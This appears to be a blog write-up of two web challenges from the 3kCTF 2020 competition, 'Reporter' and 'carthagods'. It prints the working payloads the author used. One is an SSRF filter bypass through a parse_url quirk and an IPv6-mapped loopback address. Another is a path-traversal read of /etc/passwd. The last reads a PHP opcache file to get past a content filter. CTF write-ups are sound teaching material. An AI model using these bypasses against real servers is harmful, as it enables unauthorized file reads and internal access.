3KCTF-WRITEUPS(WEB)

3KCTF-WRITEUPS(WEB)

July 25, 2020

3kCTF Write ups for web

Reporter

1
2
3
4
5
6
Title: reporter
Author: rekter0
Description: Reporter is an online markdown reporting tool.
it's free to use for everyone.
there's a secret report we need located
`In this challenge we were given the Source code`

In this challenge
We are greeted with a markdown to html converter and we can create a report.
My first thought’s were xss and i randomly tried a few payloads after reaching no where I decided to go through the source code(better late then never lol :P)
while going through the source i found that
when an image it provided rather than displaying it direclty it does an
base64_encode(fetch_remote_file($value))of the img url
hmm SSRF..
so i set it up loaclly and started trying how to bypass fetch_remote_file function which does quite a few checks

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
function fetch_remote_file($url) {
$config['disallowed_remote_hosts'] = array('localhost');
$config['disallowed_remote_addresses'] = array("0.0.0.0/8", "10.0.0.0/8", "100.64.0.0/10", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/29", "192.0.2.0/24", "192.88.99.0/24", "192.168.0.0/16", "198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "224.0.0.0/4", "240.0.0.0/4",);
$url_components = @parse_url($url);
if (!isset($url_components['scheme'])) {
return false;
}
if (@($url_components['port'])) {
return false;
}
if (!$url_components) {
return false;
}
if ((!empty($url_components['scheme']) && !in_array($url_components['scheme'], array('http', 'https')))) {
return false;
}
if (array_key_exists("user", $url_components) || array_key_exists("pass", $url_components)) {
return false;
}
if ((!empty($config['disallowed_remote_hosts']) && in_array($url_components['host'], $config['disallowed_remote_hosts']))) {
return false;
}
$addresses = get_ip_by_hostname($url_components['host']);
$destination_address = $addresses[0];
if (!empty($config['disallowed_remote_addresses'])) {
foreach ($config['disallowed_remote_addresses'] as $disallowed_address) {
$ip_range = fetch_ip_range($disallowed_address);
$packed_address = my_inet_pton($destination_address);
if (is_array($ip_range)) {
if (strcmp($ip_range[0], $packed_address) <= 0 && strcmp($ip_range[1], $packed_address) >= 0) {
echo 'pass';

return false;
}
} elseif ($destination_address == $disallowed_address) {
echo 'pass2';
return false;
}
}
}
echo 'pass3';
$opts = array('http' => array('follow_location' => 0,));
$context = stream_context_create($opts);
return file_get_contents($url, false, $context);
}
function get_ip_by_hostname($hostname) {
$addresses = @gethostbynamel($hostname);
if (!$addresses) {
$result_set = @dns_get_record($hostname, DNS_A);
if ($result_set) {
$addresses = array_column($result_set, 'ip');
} else {
return false;
}
}
return $addresses;
}

its using parse_url which we all know its xtremely buggy lol
so i could easily get an lfi using the payload http:a../../../../../../../etc/passwd
now i could read files and i tried reading http:a../../../../../../../var/www/html/secret-report/index.php and stuff like that but did’nt get anything
so my next step was to get ssrf to read localhost files
but there is a check which prevents us to do a direct ssrf payload like http://127.0.0.1/sercre-report
So i started looking for alternatives and found that its checks basically work for only ipv4 why not do ssrf using an ipv6 ip
so i used http://[::ffff:7f00:1]/sercret-report and was able to get the contents of sercet-report
there were 2 php files
now it was a simple matter of using the previous lfi to read them
payload-![](http:a../../../../../../../../../../../var/www /html/secret_report/3ac45ca05705d39ed27d7baa8b70ecd560b69902.php)

1
FLAG:3k{ssrf_bug_f068b29b58ccd0}

I GOT FIRST BLOOD ON IT TOO :)

carthagods

1
2
3
Author: rekter0, Dali
Title: carthagods!
Description: Salute the carthagods!

The challenge provided a redacted source code

When we visited the page it seemed like a basic information providing site in which we had
several options like

1
2
3
4
5
6
Baal        ->  /baal
Tanit -> /tanit
Dido -> /dido
caelestis -> /caelestis
phpinfo -> /info.php
FLAG -> /flag.php

The server seems to be using mod_rewrite accorind to the .htaccess
so from the source we can see that

1
2
3
4
5
6
7
8
9
		$file=$_GET[*REDACTED*];
$f=file_get_contents('thecarthagods/'.$file);
if (!preg_match("/<\?php/i", $f)){
echo $f;
}else{
echo 'php content detected';
}
}
?>

there is a secret parameter and an file_get_contents() is being used on it.
So if we can find the secret parameter we have arbitary lfi
and since its using mod_rewrite if we access http://carthagods.3k.ctf.to:8039/js
it will redirect us to http://carthagods.3k.ctf.to:8039/js/?eba1b61134bf5818771b8c3203a16dc9=js.
hence the parameter we are looking for is eba1b61134bf5818771b8c3203a16dc9
Next we need to read flag.php
but there is a check which checks if the file content includes <?php.hmm
i was stuck here for quite some time
and then went back to basics and checked info.php phpinfo
and found its using opcache.
I remembered that in a previous ctf also we had used opcache to get a blacklisted file.
Now, i can realize there will be a cache file of flag.php. And that will not contains <?php (As the page was filtering that string, we need to bypass).
The next thing to do is to find the system_id as the path to the opchache is
/var/www/cache/{system_id}/var/www/html/<file>.bin

here i used the tool and was able to get the system id
Payload: http://carthagods.3k.ctf.to:8039/?eba1b61134bf5818771b8c3203a16dc9=../../../../../ ../var/www/cache/e2c6579e4df1d9e77e36d2f4ff8c92b3/ var/www/html/flag.php.bin

1
flag:3k{Hail_the3000_years_7hat_are_b3h1nd}